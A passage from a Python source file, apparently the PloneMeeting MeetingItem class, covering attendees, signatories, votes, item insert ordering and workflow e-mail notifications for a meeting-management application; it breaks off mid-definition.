'''Gets the signatures for this item. If no signature is defined,\n meeting signatures are returned.'''\n res = self.getField('itemSignatures').getRaw(self, **kwargs)\n if not real and not res and self.hasMeeting():\n res = self.getMeeting().get_signatures(for_display=False)\n # make sure we always have unicode,\n # Meeting stored unicode and MeetingItem stores utf-8\n res = safe_unicode(res)\n if res and for_display:\n res = render_textarea(res, self, striked=striked, mark_empty_tags=mark_empty_tags)\n return res\n\n security.declarePublic('get_item_absents')\n\n def get_item_absents(self, the_objects=False, ordered=True, **kwargs):\n '''Gets the absents for this item.\n Absent for an item are stored in the Meeting.item_absents dict.'''\n if not self.hasMeeting():\n return []\n meeting = self.getMeeting()\n meeting_item_absents = meeting.get_item_absents().get(self.UID(), [])\n if ordered:\n meeting_item_absents = self._order_contacts(meeting_item_absents)\n if the_objects:\n item_absents = meeting._get_contacts(uids=meeting_item_absents, the_objects=the_objects)\n else:\n item_absents = tuple(meeting_item_absents)\n return item_absents\n\n security.declarePublic('get_item_excused')\n\n def get_item_excused(self, the_objects=False, ordered=True, **kwargs):\n '''Gets the excused for this item.\n Excused for an item are stored in the Meeting.item_excused dict.'''\n if not self.hasMeeting():\n return []\n meeting = self.getMeeting()\n meeting_item_excused = meeting.get_item_excused().get(self.UID(), [])\n if ordered:\n meeting_item_excused = self._order_contacts(meeting_item_excused)\n if the_objects:\n item_excused = meeting._get_contacts(uids=meeting_item_excused, the_objects=the_objects)\n else:\n item_excused = tuple(meeting_item_excused)\n return item_excused\n\n security.declarePublic('get_item_non_attendees')\n\n def get_item_non_attendees(self, the_objects=False, ordered=True, **kwargs):\n '''Gets the non_attendees for this item.\n Non attendees for an item are stored in the Meeting.item_non_attendees dict.'''\n if not self.hasMeeting():\n return []\n meeting = self.getMeeting()\n meeting_item_non_attendees = meeting.get_item_non_attendees().get(self.UID(), [])\n if ordered:\n meeting_item_non_attendees = self._order_contacts(meeting_item_non_attendees)\n if the_objects:\n item_non_attendees = meeting._get_contacts(\n uids=meeting_item_non_attendees, the_objects=the_objects)\n else:\n item_non_attendees = tuple(meeting_item_non_attendees)\n return item_non_attendees\n\n security.declarePublic('get_item_signatories')\n\n def get_item_signatories(self,\n the_objects=False,\n by_signature_number=False,\n real=False,\n include_position_type=False,\n **kwargs):\n '''Returns the signatories for this item. If no signatory is defined,\n meeting signatories are returned.\n If p_theObjects=False, the returned result is an dict with\n signatory uid as key and 'signature_number' as value.\n Else, the key is the signatory contact object.\n '''\n signatories = {}\n if not self.hasMeeting():\n return signatories\n meeting = self.getMeeting()\n if not real:\n # we could have several signatories having same signature_number\n # this is the case when having a signatory replacer on some items\n # we may define for example 2 signatory \"2\" and use it on specific items\n signatories = meeting.get_signatories(by_signature_number=False)\n # keep signatories that are attendees for this item\n # keep order so we may have 2 signatory 2 present and the first win\n # we reverse attendees order so when reversing key/values here under\n # the second same signature numnber is actually the first\n attendees = reversed(self.get_attendees())\n signatories = OrderedDict([(k, signatories[k]) for k in attendees\n if k in signatories])\n # reverse as keys were signatory UID, we want signature_number\n signatories = {v: k for k, v in signatories.items()}\n\n item_signatories = meeting.get_item_signatories().get(self.UID(), {})\n signatories.update(item_signatories)\n\n if the_objects:\n uids = signatories.values()\n signatories_objs = meeting._get_contacts(uids=uids, the_objects=the_objects)\n reversed_signatories = {v: k for k, v in signatories.items()}\n signatories = {reversed_signatories[signatory.UID()]: signatory\n for signatory in signatories_objs}\n\n # finally if include_position_type=True, complete data\n if include_position_type:\n item_signatories = meeting.get_item_signatories(include_position_type=True).get(\n self.UID(), {})\n for signature_number, uid_or_obj in signatories.items():\n signatories[signature_number] = {\n 'hp': uid_or_obj,\n 'position_type': item_signatories[signature_number]['position_type']\n if signature_number in item_signatories else\n (uid_or_obj.position_type if the_objects else\n uuidToObject(uid_or_obj).position_type)}\n # finally change k/v if necessary\n if not by_signature_number:\n if not include_position_type:\n signatories = {v: k for k, v in signatories.items()}\n else:\n signatories = {v['hp']: {'signature_number': k, 'position_type': v['position_type']}\n for k, v in signatories.items()}\n\n return signatories\n\n def get_votes_are_secret(self):\n \"\"\" \"\"\"\n return bool(self.getPollType().startswith('secret'))\n\n def get_vote_is_secret(self, vote_number):\n \"\"\" \"\"\"\n item_votes = self.getMeeting().get_item_votes().get(self.UID(), [])\n if len(item_votes) - 1 >= vote_number:\n poll_type = item_votes[vote_number].get('poll_type', self.getPollType())\n else:\n poll_type = self.getPollType()\n return poll_type.startswith('secret')\n\n def _build_unexisting_vote(self,\n is_secret,\n vote_number,\n poll_type,\n voter_uids=[],\n include_extra_infos=True):\n \"\"\" \"\"\"\n if is_secret:\n votes = [{'label': None,\n 'votes': {},\n 'linked_to_previous': vote_number != 0 and self.REQUEST.get(\n 'form.widgets.linked_to_previous', False) or False}]\n if include_extra_infos:\n votes[0]['vote_number'] = 0\n votes[0]['poll_type'] = poll_type\n # define vote_value = '' for every used vote values\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n for used_vote in cfg.getUsedVoteValues():\n votes[0]['votes'][used_vote] = 0\n else:\n votes = [\n {\n 'label': None,\n 'voters': {},\n 'linked_to_previous': vote_number != 0 and self.REQUEST.get(\n 'form.widgets.linked_to_previous', False) or False}]\n if include_extra_infos:\n votes[0]['vote_number'] = 0\n votes[0]['poll_type'] = poll_type\n # define vote not encoded for every voters\n for voter_uid in voter_uids:\n votes[0]['voters'][voter_uid] = NOT_ENCODED_VOTE_VALUE\n return votes\n\n security.declarePublic('get_item_votes')\n\n def get_item_votes(self,\n vote_number='all',\n include_extra_infos=True,\n include_unexisting=True,\n unexisting_value=NOT_ENCODED_VOTE_VALUE,\n ignored_vote_values=[],\n force_list_result=False):\n '''p_vote_number may be 'all' (default), return a list of every votes,\n or an integer like 0, returns the vote with given number.\n If p_include_extra_infos, for convenience, some extra infos are added\n 'vote_number', 'linked_to_previous' and 'poll_type'\n is added to the returned value.\n If p_include_unexisting, will return p_unexisting_value for votes that\n does not exist, so when votes just enabled, new voter selected, ...'''\n votes = []\n if not self.hasMeeting():\n return votes\n meeting = self.getMeeting()\n item_votes = meeting.get_item_votes().get(self.UID(), [])\n voter_uids = self.get_item_voters()\n poll_type = self.getPollType()\n # all votes\n if vote_number == 'all':\n # votes will be a list\n votes = deepcopy(item_votes)\n if include_extra_infos:\n # add a 'vote_number' key into the result for convenience\n i = 0\n for vote_infos in votes:\n vote_infos['vote_number'] = i\n vote_infos['linked_to_previous'] = vote_infos.get('linked_to_previous', False)\n vote_infos['poll_type'] = vote_infos.get('poll_type', poll_type)\n i += 1\n # vote_number\n elif len(item_votes) - 1 >= vote_number:\n votes.append(item_votes[vote_number])\n\n # secret votes\n if self.get_vote_is_secret(vote_number):\n if include_unexisting and not votes:\n votes = self._build_unexisting_vote(True, vote_number, poll_type)\n # public votes\n else:\n # add an empty vote in case nothing in itemVotes\n # this is useful when no votes encoded, new voters selected, ...\n if include_unexisting:\n # first or not existing\n if not votes:\n votes = self._build_unexisting_vote(False, vote_number, poll_type)\n\n i = 0 if vote_number == 'all' else vote_number\n for vote in votes:\n if not self.get_vote_is_secret(i):\n # add new values if some voters were added\n stored_voter_uids = vote['voters'].keys()\n for voter_uid in voter_uids:\n if voter_uid not in stored_voter_uids:\n vote['voters'][voter_uid] = NOT_ENCODED_VOTE_VALUE\n # make sure we only have current voters in 'voters'\n # this could not be the case when encoding votes\n # for a voter then setting him absent\n # discard also ignored_vote_values\n vote['voters'] = OrderedDict(\n [(vote_voter_uid, vote['voters'][vote_voter_uid])\n for vote_voter_uid in voter_uids\n if (not ignored_vote_values or\n vote['voters'][vote_voter_uid] not in ignored_vote_values)])\n i = i + 1\n\n # when asking a vote_number, only return this one as a dict, not as a list\n if votes and vote_number != 'all' and not force_list_result:\n votes = votes[0]\n return votes\n\n def get_voted_voters(self, vote_number='all'):\n '''Voter uids that actually voted on this item, relevant for public votes.'''\n item_votes = self.get_item_votes(\n vote_number=vote_number,\n ignored_vote_values=[NOT_ENCODED_VOTE_VALUE],\n force_list_result=True)\n voted_voters = []\n for vote in item_votes:\n voters = vote.get('voters', {}).keys()\n voted_voters += voters\n return tuple(set(voted_voters))\n\n security.declarePublic('get_item_voters')\n\n def get_item_voters(self, theObjects=False):\n '''Return held positions able to vote on current item.\n By default, held_position UIDs are returned.\n If p_theObjects=True, held_position objects are returned.'''\n meeting = self.getMeeting()\n attendee_uids = self.get_attendees() or None\n voters = meeting.get_voters(uids=attendee_uids, the_objects=theObjects)\n return voters\n\n def _voteIsDeletable(self, vote_number):\n \"\"\" \"\"\"\n res = False\n item_votes = self.getMeeting().get_item_votes().get(self.UID())\n if item_votes:\n vote_infos = item_votes[vote_number]\n if vote_infos['linked_to_previous'] or \\\n not next_vote_is_linked(item_votes, vote_number):\n res = True\n return res\n\n def get_in_and_out_attendees(self, ignore_before_first_item=True, the_objects=True):\n \"\"\"Returns a dict with informations about assembly moves :\n - who left at the beginning of the item;\n - who entered at the beginning of the item;\n - who left at the end of the item;\n - who entered at the end of the item.\n \"\"\"\n res = {'left_before': (),\n 'entered_before': (),\n 'left_after': (),\n 'entered_after': (),\n 'non_attendee_before': (),\n 'attendee_again_before': (),\n 'non_attendee_after': (),\n 'attendee_again_after': ()}\n meeting = self.getMeeting()\n if meeting:\n items = meeting.get_items(ordered=True, unrestricted=True)\n item_index = items.index(self)\n previous = None\n # only fill a value if attendee present for current item\n # this manage fact that an attendee may be absent for an item,\n # then not attendee for next item\n attendees = self.get_attendees(the_objects=the_objects)\n absents = self.get_item_absents(the_objects=the_objects)\n excused = self.get_item_excused(the_objects=the_objects)\n non_attendees = self.get_item_non_attendees(the_objects=the_objects)\n if item_index:\n previous = items[item_index - 1]\n # before absents/excused\n previous_attendees = previous.get_attendees(the_objects=the_objects)\n previous_absents = previous.get_item_absents(the_objects=the_objects)\n previous_excused = previous.get_item_excused(the_objects=the_objects)\n left_before = tuple(set(absents + excused).intersection(\n set(previous_attendees)))\n entered_before = tuple(set(previous_absents + previous_excused).intersection(\n set(attendees)))\n res['left_before'] = left_before\n res['entered_before'] = entered_before\n # non attendees\n previous_non_attendees = previous.get_item_non_attendees(the_objects=the_objects)\n non_attendee_before = tuple(set(non_attendees).intersection(\n set(previous_attendees)))\n attendee_again_before = tuple(set(previous_non_attendees).intersection(\n set(attendees)))\n res['non_attendee_before'] = non_attendee_before\n res['attendee_again_before'] = attendee_again_before\n elif not ignore_before_first_item:\n # self is first item\n res['left_before'] = absents + excused\n res['non_attendee_before'] = non_attendees\n next = None\n if self != items[-1]:\n next = items[item_index + 1]\n # after absents/excused\n next_attendees = next.get_attendees(the_objects=the_objects)\n next_absents = next.get_item_absents(the_objects=the_objects)\n next_excused = next.get_item_excused(the_objects=the_objects)\n next_non_attendees = next.get_item_non_attendees(the_objects=the_objects)\n left_after = tuple(set(next_excused + next_absents).intersection(\n set(attendees)))\n entered_after = tuple(set(excused + absents).intersection(\n set(next_attendees)))\n res['left_after'] = left_after\n res['entered_after'] = entered_after\n # non attendees\n non_attendee_after = tuple(set(attendees).intersection(\n set(next_non_attendees)))\n attendee_again_after = tuple(set(next_attendees).intersection(\n set(non_attendees)))\n res['non_attendee_after'] = non_attendee_after\n res['attendee_again_after'] = attendee_again_after\n return res\n\n security.declarePublic('mustShowItemReference')\n\n def mustShowItemReference(self):\n '''See doc in interfaces.py'''\n res = False\n item = self.getSelf()\n meeting = item.getMeeting()\n tool = api.portal.get_tool('portal_plonemeeting')\n if meeting and item.getMeeting().is_late():\n res = True\n else:\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(item)\n res = cfg.getComputeItemReferenceForItemsOutOfMeeting()\n return res\n\n security.declarePrivate('addRecurringItemToMeeting')\n\n def addRecurringItemToMeeting(self, meeting):\n '''See doc in interfaces.py.'''\n item = self.getSelf()\n wfTool = api.portal.get_tool('portal_workflow')\n tool = api.portal.get_tool('portal_plonemeeting')\n try:\n item.REQUEST.set('PUBLISHED', meeting)\n item.isRecurringItem = True\n # we use the wf path defined in the cfg.getTransitionsForPresentingAnItem\n # to present the item to the meeting\n cfg = tool.getMeetingConfig(item)\n # give 'Manager' role to current user to bypass transitions guard\n # and avoid permission problems when transitions are triggered\n with api.env.adopt_roles(['Manager', ]):\n # try to bypass by using the \"validate\" shortcut\n trs = cfg.getTransitionsForPresentingAnItem(\n org_uid=item.getProposingGroup())\n if \"validate\" in get_transitions(item):\n wfTool.doActionFor(item, \"validate\")\n trs = [\"present\"]\n for tr in trs:\n if tr in get_transitions(item):\n wfTool.doActionFor(item, tr)\n # the item must be at least presented to a meeting, either we raise\n if not item.hasMeeting():\n raise WorkflowException\n del item.isRecurringItem\n except WorkflowException as wfe:\n msg = REC_ITEM_ERROR % (item.id, tr, str(wfe) or repr(wfe))\n logger.warn(msg)\n api.portal.show_message(msg, request=item.REQUEST, type='error')\n sendMail(None, item, 'recurringItemWorkflowError')\n unrestrictedRemoveGivenObject(item)\n return True\n\n def _bypass_meeting_closed_check_for(self, fieldName):\n \"\"\"See docstring in interfaces.py\"\"\"\n if fieldName in ['internalNotes', 'marginalNotes']:\n return True\n\n security.declarePublic('mayQuickEdit')\n\n def mayQuickEdit(self,\n fieldName,\n bypassWritePermissionCheck=False,\n onlyForManagers=False,\n bypassMeetingClosedCheck=False,\n raiseOnError=False):\n '''Check if the current p_fieldName can be quick edited thru the meetingitem_view.\n By default, an item can be quickedited if the field condition is True (field is used,\n current user is Manager, current item is linekd to a meeting) and if the meeting\n the item is presented in is not considered as 'closed'. Bypass if current user is\n a real Manager (Site Administrator/Manager).\n If p_bypassWritePermissionCheck is True, we will not check for write_permission.\n If p_bypassMeetingClosedCheck is True, we will not check if meeting is closed but\n only for permission and condition.'''\n field = self.Schema()[fieldName]\n # some fields are still editable even when meeting closed\n bypassMeetingClosedCheck = bypassMeetingClosedCheck or \\\n self.adapted()._bypass_meeting_closed_check_for(fieldName)\n res = checkMayQuickEdit(\n self,\n bypassWritePermissionCheck=bypassWritePermissionCheck,\n permission=field.write_permission,\n expression=self.Schema()[fieldName].widget.condition,\n onlyForManagers=onlyForManagers,\n bypassMeetingClosedCheck=bypassMeetingClosedCheck)\n if not res and raiseOnError:\n raise Unauthorized\n return res\n\n def mayQuickEditItemAssembly(self):\n \"\"\"Show edit icon if itemAssembly or itemAssemblyGuests field editable.\"\"\"\n return self.mayQuickEdit('itemAssembly', bypassWritePermissionCheck=True, onlyForManagers=True) or \\\n self.mayQuickEdit('itemAssemblyGuests', bypassWritePermissionCheck=True, onlyForManagers=True)\n\n def mayQuickEditItemSignatures(self):\n \"\"\"Show edit icon if itemSignatures field editable.\"\"\"\n return self.mayQuickEdit('itemSignatures', bypassWritePermissionCheck=True, onlyForManagers=True)\n\n security.declareProtected(ModifyPortalContent, 'onEdit')\n\n def onEdit(self, isCreated):\n '''See doc in interfaces.py.'''\n pass\n\n security.declarePublic('getCustomAdviceMessageFor')\n\n def getCustomAdviceMessageFor(self, advice):\n '''See doc in interfaces.py.'''\n return {'displayDefaultComplementaryMessage': True,\n 'displayAdviceReviewState': False,\n 'customAdviceMessage': None}\n\n def _getInsertOrder(self, cfg):\n '''When inserting an item into a meeting, several \"methods\" are\n available (follow category order, proposing group order, all groups order,\n at the end, etc). If you want to implement your own \"method\", you may want\n to propose an alternative behaviour here, by returning an \"order\",\n or \"weight\" (as an integer value) that you assign to the current item.\n According to this \"order\", the item will be inserted at the right place.\n This method receives the p_cfg.\n '''\n res = []\n item = self.getSelf()\n\n insertMethods = cfg.getInsertingMethodsOnAddItem()\n for insertMethod in insertMethods:\n order = item._findOrderFor(insertMethod['insertingMethod'])\n if insertMethod['reverse'] == '1':\n order = - order\n res.append(order)\n return res\n\n def _findOrderFor(self, insertMethod):\n '''\n Find the order of given p_insertMethod.\n '''\n res = None\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if insertMethod == 'on_list_type':\n listTypes = cfg.getListTypes()\n keptListTypes = [listType['identifier'] for listType in listTypes\n if listType['used_in_inserting_method'] == '1']\n currentListType = self.getListType()\n # if it is not a listType used in the inserting_method\n # return 0 so elements using this listType will always have\n # a lower index and will be passed\n if currentListType not in keptListTypes:\n res = 0\n else:\n res = keptListTypes.index(currentListType) + 1\n elif insertMethod == 'on_categories':\n # get the categories order, pass onlySelectable to False so disabled categories\n # are taken into account also, so we avoid problems with freshly disabled categories\n # or when a category is restricted to a group a MeetingManager is not member of\n res = 1\n category = self.getCategory(True)\n if category:\n res = category.get_order(only_selectable=False)\n elif insertMethod == 'on_classifiers':\n # get the classifiers order, pass onlySelectable to False so disabled classifiers\n # are taken into account also, so we avoid problems with freshly disabled classifiers\n # or when a classifier is restricted to a group a MeetingManager is not member of\n res = 1\n classifier = self.getClassifier(True)\n if classifier:\n res = classifier.get_order(only_selectable=False)\n elif insertMethod == 'on_proposing_groups':\n org = self.getProposingGroup(True)\n res = org.get_order()\n elif insertMethod == 'on_all_groups':\n org = self.getProposingGroup(True)\n res = org.get_order(associated_org_uids=self.getAssociatedGroups(), cfg=cfg)\n elif insertMethod == 'on_groups_in_charge':\n res = self._computeOrderOnGroupsInCharge(cfg)\n elif insertMethod == 'on_all_associated_groups':\n res = self._computeOrderOnAllAssociatedGroups(cfg)\n elif insertMethod == 'on_all_committees':\n res = self._computeOrderOnAllCommittees(cfg)\n elif insertMethod == 'on_privacy':\n privacy = self.getPrivacy()\n privacies = cfg.getSelectablePrivacies()\n # Get the order of the privacy\n res = privacies.index(privacy)\n elif insertMethod == 'on_to_discuss':\n if self.getToDiscuss():\n res = 0\n else:\n res = 1\n elif insertMethod == 'on_other_mc_to_clone_to':\n toCloneTo = self.getOtherMeetingConfigsClonableTo()\n values = get_vocab_values(\n self,\n 'Products.PloneMeeting.vocabularies.other_mcs_clonable_to_vocabulary')\n if not toCloneTo:\n res = len(values) + 1\n else:\n res = values.index(toCloneTo[0])\n elif insertMethod == 'on_poll_type':\n pollType = self.getPollType()\n factory = queryUtility(IVocabularyFactory,\n 'Products.PloneMeeting.vocabularies.polltypesvocabulary')\n pollTypes = [term.token for term in factory(self)._terms]\n # Get the order of the pollType\n res = pollTypes.index(pollType)\n elif insertMethod == 'on_item_title':\n res = normalize(safe_unicode(self.Title()))\n elif insertMethod == 'on_item_decision_first_words':\n decision = safe_unicode(self.getDecision(mimetype='text/plain')).strip()\n decision = decision.split(' ')[0:INSERTING_ON_ITEM_DECISION_FIRST_WORDS_NB]\n decision = ' '.join(decision)\n res = normalize(safe_unicode(decision))\n elif insertMethod == 'on_item_creator':\n creator_fullname = safe_unicode(tool.getUserName(self.Creator()))\n res = normalize(creator_fullname)\n else:\n res = self.adapted()._findCustomOrderFor(insertMethod)\n return res\n\n def _sort_pre_orders(self, pre_orders):\n \"\"\"Sort given pre_orders and compute final index.\"\"\"\n pre_orders.sort()\n res = float(0)\n divisor = 1\n for pre_order in pre_orders:\n res += (float(pre_order) / divisor)\n # we may manage up to 1000 different values\n divisor *= 1000\n return res\n\n def _computeOrderOnAllAssociatedGroups(self, cfg):\n '''Helper method to compute inserting index when using insert method 'on_all_associated_groups'.'''\n associatedGroups = self.getAssociatedGroups()\n # computing will generate following order :\n # items having no associated groups\n # items having associated group 1 only\n # items having associated group 1 and associated group 2\n # items having associated group 1 and associated group 2 and associated group 3\n # items having associated group 1 and associated group 2 and associated group 3 and associated group 4\n # items having associated group 1 and associated group 3\n # items having associated group 1 and associated group 3 and associated group 4\n # for order, rely on order defined in MeetingConfig if defined, else use organization order\n orderedAssociatedOrgs = cfg.getOrderedAssociatedOrganizations()\n # if order changed in config, we keep it, do not rely on order defined on item\n pre_orders = []\n for associatedGroup in associatedGroups:\n if orderedAssociatedOrgs:\n try:\n index = orderedAssociatedOrgs.index(associatedGroup)\n pre_orders.append(index + 1)\n except ValueError:\n pre_orders.append(0)\n else:\n org = get_organization(associatedGroup)\n pre_orders.append(org.get_order())\n return self._sort_pre_orders(pre_orders)\n\n def _computeOrderOnAllCommittees(self, cfg):\n '''Helper method to compute inserting index when using insert method 'on_all_committees'.'''\n committees = self.getCommittees()\n # computing will generate following order :\n # items having no committee\n # items having committee 1 only\n # items having committee 1 and committee 2\n # items having committee 1 and committee 2 and committee 3\n # items having committee 1 and committee 2 and committee 3 and committee 4\n # items having committee 1 and committee 3\n # items having committee 1 and committee 3 and committee 4\n # for order, rely on order defined in MeetingConfig.committees DataGridField\n ordered_committees = self.getField('committees').Vocabulary(self).keys()\n # if order changed in config, we keep it, do not rely on order defined on item\n pre_orders = []\n for committee in committees:\n try:\n index = ordered_committees.index(committee)\n pre_orders.append(index + 1)\n except ValueError:\n pre_orders.append(0)\n return self._sort_pre_orders(pre_orders)\n\n def _computeOrderOnGroupsInCharge(self, cfg):\n '''Helper method to compute inserting index when using insert method 'on_groups_in_charge'.'''\n groups_in_charge = self.getGroupsInCharge(includeAuto=True)\n # computing will generate following order :\n # items having no groups in charge\n # items having group in charge 1 only\n # items having group in charge 1 and group in charge 2\n # items having group in charge 1 and group in charge 2 and group in charge 3\n # items having group in charge 1 and group in charge 2 and group in charge 3 and group in charge 4\n # items having group in charge 1 and group in charge 3\n # items having group in charge 1 and group in charge 3 and group in charge 4\n # for order, rely on order defined in MeetingConfig if defined, else use organization order\n orderedGroupsInCharge = cfg.getOrderedGroupsInCharge()\n # if order changed in config, we keep it, do not rely on order defined on item\n pre_orders = []\n for group_in_charge in groups_in_charge:\n if orderedGroupsInCharge:\n try:\n index = orderedGroupsInCharge.index(group_in_charge)\n pre_orders.append(index + 1)\n except ValueError:\n pre_orders.append(0)\n else:\n org = get_organization(group_in_charge)\n pre_orders.append(org.get_order())\n return self._sort_pre_orders(pre_orders)\n\n def _findCustomOrderFor(self, insertMethod):\n '''\n Adaptable method when defining our own insertMethod.\n This is made to be overrided.\n '''\n raise NotImplementedError\n\n def sendStateDependingMailIfRelevant(self, old_review_state, transition_id, new_review_state):\n \"\"\"Send notifications that depends on old/new review_state.\"\"\"\n self._sendAdviceToGiveMailIfRelevant(old_review_state, new_review_state)\n self._sendCopyGroupsMailIfRelevant(old_review_state, new_review_state)\n # send e-mail to group suffix\n # both notitifications may be enabled in configuration to manage when item\n # back to itemcreated from presented (when using WFA\n # presented_item_back_to_itemcreated), in this case the history_aware\n # notification is not sent but the group_suffix notification will be\n if not self._send_history_aware_mail_if_relevant(\n old_review_state, transition_id, new_review_state):\n self._send_proposing_group_suffix_if_relevant(\n old_review_state, transition_id, new_review_state)\n\n def _sendAdviceToGiveMailIfRelevant(self,\n old_review_state,\n new_review_state,\n force_resend_if_in_advice_review_states=False,\n debug=False):\n '''A transition was fired on self, check if, in the new item state,\n advices need to be given, that had not to be given in the previous item state.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if 'adviceToGive' not in cfg.getMailItemEvents() and \\\n 'adviceToGiveByUser' not in cfg.getMailItemEvents():\n return\n plone_group_ids = []\n plone_user_ids = []\n for org_uid, adviceInfo in self.adviceIndex.iteritems():\n # call hook '_sendAdviceToGiveToGroup' to be able to bypass\n # send of this notification to some defined groups\n if not self.adapted()._sendAdviceToGiveToGroup(org_uid):\n continue\n adviceStates = cfg.getItemAdviceStatesForOrg(org_uid)\n # If force_resend_if_in_review_states=True,\n # check if current item review_state in adviceStates\n # This is useful when asking advice again and\n # item review_state does not change\n # Ignore advices that must not be given in the current item state\n # Ignore advices that already needed to be given in the previous item state\n if (new_review_state not in adviceStates or old_review_state in adviceStates) and \\\n (not force_resend_if_in_advice_review_states or old_review_state not in adviceStates):\n continue\n\n # do not consider groups that already gave their advice\n if adviceInfo['type'] not in ['not_given', 'asked_again']:\n continue\n\n # notify entire advisers groups any time\n plone_group_id = get_plone_group_id(org_uid, 'advisers')\n if 'adviceToGive' in cfg.getMailItemEvents():\n plone_group_ids.append(plone_group_id)\n else:\n # adviceToGiveByUser\n # notify userids if any or the entire _advisers group\n if adviceInfo['userids']:\n plone_user_ids += adviceInfo['userids']\n else:\n plone_group = api.group.get(plone_group_id)\n plone_user_ids += plone_group.getMemberIds()\n\n # send mail\n if plone_group_ids:\n params = {\"obj\": self,\n \"event\": \"adviceToGive\",\n \"value\": plone_group_ids,\n \"isGroupIds\": True,\n \"debug\": debug}\n return sendMailIfRelevant(**params)\n elif plone_user_ids:\n params = {\"obj\": self,\n \"event\": \"adviceToGiveByUser\",\n \"value\": plone_user_ids,\n \"isUserIds\": True,\n \"debug\": debug}\n return sendMailIfRelevant(**params)\n\n def _sendAdviceToGiveToGroup(self, org_uid):\n \"\"\"See docstring in interfaces.py\"\"\"\n return True\n\n def _sendCopyGroupsMailIfRelevant(self, old_review_state, new_review_state):\n '''A transition was fired on self, check if, in the new item state,\n copy groups have now access to the item.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if 'copyGroups' not in cfg.getMailItemEvents():\n return\n\n copyGroupsStates = cfg.getItemCopyGroupsStates()\n # Ignore if current state not in copyGroupsStates\n # Ignore if copyGroups had already access in previous state\n if new_review_state not in copyGroupsStates or old_review_state in copyGroupsStates:\n return\n # Send a mail to every person from getAllCopyGroups\n plone_group_ids = []\n for plone_group_id in self.getAllCopyGroups(auto_real_plone_group_ids=True):\n # call hook '_sendCopyGroupsToGroup' to be able to bypass\n # send of this notification to some defined groups\n if not self.adapted()._sendCopyGroupsToGroup(plone_group_id):\n continue\n plone_group_ids.append(plone_group_id)\n if plone_group_ids:\n return sendMailIfRelevant(self, 'copyGroups', plone_group_ids, isGroupIds=True)\n\n def _sendCopyGroupsToGroup(self, groupId):\n \"\"\"See docstring in interfaces.py\"\"\"\n return True\n\n def _get_proposing_group_suffix_notified_user_ids_for_review_state(\n self,\n review_state,\n excepted_manager=True\n ):\n \"\"\"\n Get all notified members ids of the proposing group suffix for a given 'review_state'\n If 'excepted_manager' is True we omit the manager(s).\n \"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n suffix_notified = cfg.getItemWFValidationLevels(states=[review_state])[\"suffix\"]\n plone_group_id_notified = get_plone_group_id(self.getProposingGroup(), suffix_notified)\n plone_group_notified = api.group.get(plone_group_id_notified)\n\n notified_user_ids = []\n if not excepted_manager:\n notified_user_ids = plone_group_notified.getMemberIds()\n else:\n for member in plone_group_notified.getGroupMembers():\n user_roles = member.getRolesInContext(self)\n if 'MeetingManager' not in user_roles:\n notified_user_ids.append(member.getId())\n return notified_user_ids\n\n def _send_proposing_group_suffix_if_relevant(\n self,\n old_review_state,\n transition_id,\n new_review_state):\n \"\"\"\n Notify by mail the proposing group suffix that will take care of this item in 'new_review_state'\n \"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n\n mail_event_id = \"item_state_changed_{}__proposing_group_suffix\".format(transition_id)\n is_notify_pg_suffix = mail_event_id in cfg.getMailItemEvents()\n mail_event_id_except_manager = mail_event_id + \"_except_manager\"\n is_notify_pg_suffix_excepted_manager = mail_event_id_except_manager in cfg.getMailItemEvents()\n\n if not is_notify_pg_suffix and not is_notify_pg_suffix_excepted_manager:\n return\n\n notified_user_ids = self._get_proposing_group_suffix_notified_user_ids_for_review_state(\n new_review_state,\n is_notify_pg_suffix_excepted_manager\n )\n if is_notify_pg_suffix:\n return sendMailIfRelevant(self, mail_event_id, notified_user_ids, isUserIds=True)\n else:\n return sendMailIfRelevant(self, mail_event_id_except_manager, notified_user_ids, isUserIds=True)\n\n def _send_history_aware_mail_if_relevant(self, old_review_state, transition_id, new_review_state):\n \"\"\"\n Notify by mail one specific user (if possible) based on the item history.\n For \"up\" transition, we will notify the user that made the precedent 'back_transition'\n to 'old_review_state'.\n If it is the first time the item goes to 'new_review_state',\n we notify the proposing group suffix (except manager) because we can't predict the future.\n For \"down\" transition, we will notify the user that made the precedent 'leading_transition'\n to 'old_review_state'.\n \"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n mail_event_id = \"item_state_changed_{}__history_aware\".format(transition_id)\n # we only consider the item validation process, if old_review_state is\n # outside, like for example when using the 'presented_item_back_to_itemcreated'\n # WFAdaptation, we bypass\n if mail_event_id not in cfg.getMailItemEvents() or \\\n old_review_state not in cfg.getItemWFValidationLevels(data=\"state\") + [\"validated\"]:\n return\n\n wf_direction = down_or_up_wf(self)\n notified_user_ids = []\n if wf_direction == \"up\":\n # We are going up (again) so we will notify the user that made any transition\n # after the last p_transition_id\n wf_action_to_find = cfg.getItemWFValidationLevels(states=[old_review_state])[\n \"back_transition\"]\n wf_action = getLastWFAction(self, wf_action_to_find)\n if wf_action: # In case WF definition has changed in the meantime\n notified_user_ids = [wf_action[\"actor\"]]\n elif wf_direction == \"down\":\n # We are going down so we will notify the user that made the precedent 'leading_transition'\n # to the 'old_review_state'\n wf_action_to_find = cfg.getItemWFValidationLevels(states=[old_review_state])\n if wf_action_to_find:\n wf_action_to_find = wf_action_to_find[\"leading_transition\"]\n elif old_review_state == \"validated\":\n # special management when going down from \"validated\"\n # as this information is not in the \"itemWFValidationLevels\"\n # but we now that the leading_transition is always \"validate\"\n wf_action_to_find = \"validate\"\n else:\n raise Exception(\"Unable to find leading transition!\")\n\n wf_action = getLastWFAction(self, wf_action_to_find)\n if wf_action: # In case WF definition has changed in the meantime\n notified_user_ids = [wf_action[\"actor\"]]\n else:\n # We can't predict who will take care of the item after the transition so we notify\n # the proposing group\n notified_user_ids = self._get_proposing_group_suffix_notified_user_ids_for_review_state(\n new_review_state\n )\n\n return sendMailIfRelevant(self, mail_event_id, notified_user_ids, isUserIds=True)\n\n security.declarePublic('sendAdviceDelayWarningMailIfRelevant')\n\n def 